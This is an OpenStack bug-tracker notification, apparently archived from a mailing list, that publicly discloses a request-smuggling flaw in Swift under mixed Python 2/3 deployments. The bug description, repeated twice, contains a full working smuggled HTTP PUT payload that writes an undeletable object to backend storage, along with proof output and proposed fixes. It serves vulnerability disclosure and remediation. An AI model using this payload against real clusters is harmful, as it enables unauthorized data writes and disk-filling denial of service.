codehaus


[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Openstack-security] [Bug 1840507] Re: Mixed py2/py3 environment allows authed users to write arbitrary data to the cluster


Yes, it does get a little weird since the bug in question appeared in a
release only on the master branch of a project which maintains stable
branches as well. There would be no guarantee of a means for
distributors of 2.22.0 to backport a clean fix, though I suppose that
could still be possible depending on how much they care about the
related unit test issue. Regardless, since Python 3 support in 2.22.0
was marked as experimental, that means we could similarly consider it
covered by class B3 in our report taxonomy as well.

As this plan has the consent of both the original reporter and the Swift
PTL (being one and the same person), I won't delay further in switching
it to public. Thanks, Tim!

** Description changed:

- This issue is being treated as a potential security risk under embargo.
- Please do not make any public mention of embargoed (private) security
- vulnerabilities before their coordinated publication by the OpenStack
- Vulnerability Management Team in the form of an official OpenStack
- Security Advisory. This includes discussion of the bug or associated
- fixes in public forums such as mailing lists, code review systems and
- bug trackers. Please also avoid private disclosure to other individuals
- not already approved for access to this information, and provide this
- same reminder to those who are made aware of the issue prior to
- publication. All discussion should remain confined to this private bug
- report, and any proposed fixes should be added to the bug as
- attachments.
- 
  Python 3 doesn't parse headers the same way as python 2 [1]. We attempt
  to address this failing [2], but since we're doing it at the application
  level, eventlet can still get confused about what should and should not
  be the request body.
  
  Consider a client request like
  
    PUT /v1/AUTH_test/c/o HTTP/1.1
    Host: saio:8080
    Content-Length: 4
    Connection: close
    X-Object-Meta-x-ð??´: ð???
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Transfer-Encoding: chunked
  
    aa
    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1
  
    evil
    0
  
  A python 2 proxy-server will auth the user, add a bunch more headers,
  and send a request on to the object-servers like
  
    PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
    Accept-Encoding: identity
    Expect: 100-continue
    X-Container-Device: sdb2
    Content-Length: 4
    X-Object-Meta-X-ð??´: ð???
    Connection: close
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Content-Type: application/octet-stream
    X-Backend-Storage-Policy-Index: 1
    X-Timestamp: 1565985475.83685
    X-Container-Host: 127.0.0.1:6021
    X-Container-Partition: 61
    Host: saio:8080
    User-Agent: proxy-server 3752
    Referer: PUT http://saio:8080/v1/AUTH_test/c/o
    Transfer-Encoding: chunked
    X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
    X-Backend-Clean-Expiring-Object-Queue: f
  
  (Note that the exact order of the headers will vary but is significant;
  the above was obtained on my machine with PYTHONHASHSEED=1.)
  
  On a python 3 object-server, eventlet will only have seen the headers up
  to (and not including, though that doesn't really matter) the palm tree.
  Significantly, it sees `Content-Length: 4` (which, per the spec [3], the
  proxy-server ignored) and doesn't see either of `Connection: close` or
  `Transfer-Encoding: chunked`. The *application* gets all of the headers,
  though, so it responds
  
    HTTP/1.1 100 Continue
  
  and the proxy sends the body:
  
    aa
    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1
  
    evil
    0
  
  Since eventlet thinks the request body is only four bytes, swift writes
  down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
  `Connection: close` header, it looks for and processes more requests on
  the socket, and swift writes a second object:
  
    $ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
    Path: /DUDE_u/r/pwned
      Account: DUDE_u
      Container: r
      Object: pwned
      Object hash: b05097e51f8700a3f5a29d93eb2941f2
    Content-Type: text/evil
    Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
    System Metadata:
      No metadata found
    Transient System Metadata:
      No metadata found
    User Metadata:
      No metadata found
    Other Metadata:
      No metadata found
    ETag: 4034a346ccee15292d823416f7510a2f (valid)
    Content-Length: 4 (valid)
    Partition	705
    Hash     	b05097e51f8700a3f5a29d93eb2941f2
    ...
  
  There are a few things worth noting at this point:
  
  1. This was for a replicated policy with encryption not enabled.
     Having encryption enabled would mitigate this as the attack
     payload would be encrypted; using an erasure-coded policy would
     complicate the attack, but I believe most EC schemes would still
     be vulnerable.
  2. An attacker would need to know (or be able to guess) a device
     name (such as "sdb1" above) used by one of the backend nodes.
  3. Swift doesn't know how to delete this data -- the X-Timestamp
     used was the maximum valid value, so no tombstone can be
     written over it [4].
  4. The account and container may not actually exist; it doesn't
     really matter as no container update is sent. As a result, the
     data written cannot easily be found or tracked.
  5. A small payload was used for the demonstration, but it should
     be fairly trivial to craft a larger one; this has potential as
     a DOS attack on a cluster by filling its disks.
  
  The fix should involve at least things: First, after re-parsing headers,
  servers should make appropriate adjustments to environ['wsgi.input'] to
  ensure that it has all relevant information about the request body.
  Second, the proxy should not include a Content-Length header when
  sending a chunk-encoded request to the backend.
  
  [1] https://bugs.python.org/issue37093
  [2] https://github.com/openstack/swift/commit/76fde8926
  [3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
  [4] https://github.com/openstack/swift/commit/f581fccf7

** Changed in: ossa
       Status: Incomplete => Won't Fix

** Information type changed from Private Security to Public

** Tags added: security

-- 
You received this bug notification because you are a member of OpenStack
Security SIG, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1840507

Title:
  Mixed py2/py3 environment allows authed users to write arbitrary data
  to the cluster

Status in OpenStack Security Advisory:
  Won't Fix
Status in OpenStack Object Storage (swift):
  New

Bug description:
  Python 3 doesn't parse headers the same way as python 2 [1]. We
  attempt to address this failing [2], but since we're doing it at the
  application level, eventlet can still get confused about what should
  and should not be the request body.

  Consider a client request like

    PUT /v1/AUTH_test/c/o HTTP/1.1
    Host: saio:8080
    Content-Length: 4
    Connection: close
    X-Object-Meta-x-ð??´: ð???
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Transfer-Encoding: chunked

    aa
    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1

    evil
    0

  A python 2 proxy-server will auth the user, add a bunch more headers,
  and send a request on to the object-servers like

    PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
    Accept-Encoding: identity
    Expect: 100-continue
    X-Container-Device: sdb2
    Content-Length: 4
    X-Object-Meta-X-ð??´: ð???
    Connection: close
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Content-Type: application/octet-stream
    X-Backend-Storage-Policy-Index: 1
    X-Timestamp: 1565985475.83685
    X-Container-Host: 127.0.0.1:6021
    X-Container-Partition: 61
    Host: saio:8080
    User-Agent: proxy-server 3752
    Referer: PUT http://saio:8080/v1/AUTH_test/c/o
    Transfer-Encoding: chunked
    X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
    X-Backend-Clean-Expiring-Object-Queue: f

  (Note that the exact order of the headers will vary but is
  significant; the above was obtained on my machine with
  PYTHONHASHSEED=1.)

  On a python 3 object-server, eventlet will only have seen the headers
  up to (and not including, though that doesn't really matter) the palm
  tree. Significantly, it sees `Content-Length: 4` (which, per the spec
  [3], the proxy-server ignored) and doesn't see either of `Connection:
  close` or `Transfer-Encoding: chunked`. The *application* gets all of
  the headers, though, so it responds

    HTTP/1.1 100 Continue

  and the proxy sends the body:

    aa
    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1

    evil
    0

  Since eventlet thinks the request body is only four bytes, swift
  writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
  `Connection: close` header, it looks for and processes more requests
  on the socket, and swift writes a second object:

    $ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
    Path: /DUDE_u/r/pwned
      Account: DUDE_u
      Container: r
      Object: pwned
      Object hash: b05097e51f8700a3f5a29d93eb2941f2
    Content-Type: text/evil
    Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
    System Metadata:
      No metadata found
    Transient System Metadata:
      No metadata found
    User Metadata:
      No metadata found
    Other Metadata:
      No metadata found
    ETag: 4034a346ccee15292d823416f7510a2f (valid)
    Content-Length: 4 (valid)
    Partition	705
    Hash     	b05097e51f8700a3f5a29d93eb2941f2
    ...

  There are a few things worth noting at this point:

  1. This was for a replicated policy with encryption not enabled.
     Having encryption enabled would mitigate this as the attack
     payload would be encrypted; using an erasure-coded policy would
     complicate the attack, but I believe most EC schemes would still
     be vulnerable.
  2. An attacker would need to know (or be able to guess) a device
     name (such as "sdb1" above) used by one of the backend nodes.
  3. Swift doesn't know how to delete this data -- the X-Timestamp
     used was the maximum valid value, so no tombstone can be
     written over it [4].
  4. The account and container may not actually exist; it doesn't
     really matter as no container update is sent. As a result, the
     data written cannot easily be found or tracked.
  5. A small payload was used for the demonstration, but it should
     be fairly trivial to craft a larger one; this has potential as
     a DOS attack on a cluster by filling its disks.

  The fix should involve at least things: First, after re-parsing
  headers, servers should make appropriate adjustments to
  environ['wsgi.input'] to ensure that it has all relevant information
  about the request body. Second, the proxy should not include a
  Content-Length header when sending a chunk-encoded request to the
  backend.

  [1] https://bugs.python.org/issue37093
  [2] https://github.com/openstack/swift/commit/76fde8926
  [3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
  [4] https://github.com/openstack/swift/commit/f581fccf7

To manage notifications about this bug go to:
https://bugs.launchpad.net/ossa/+bug/1840507/+subscriptions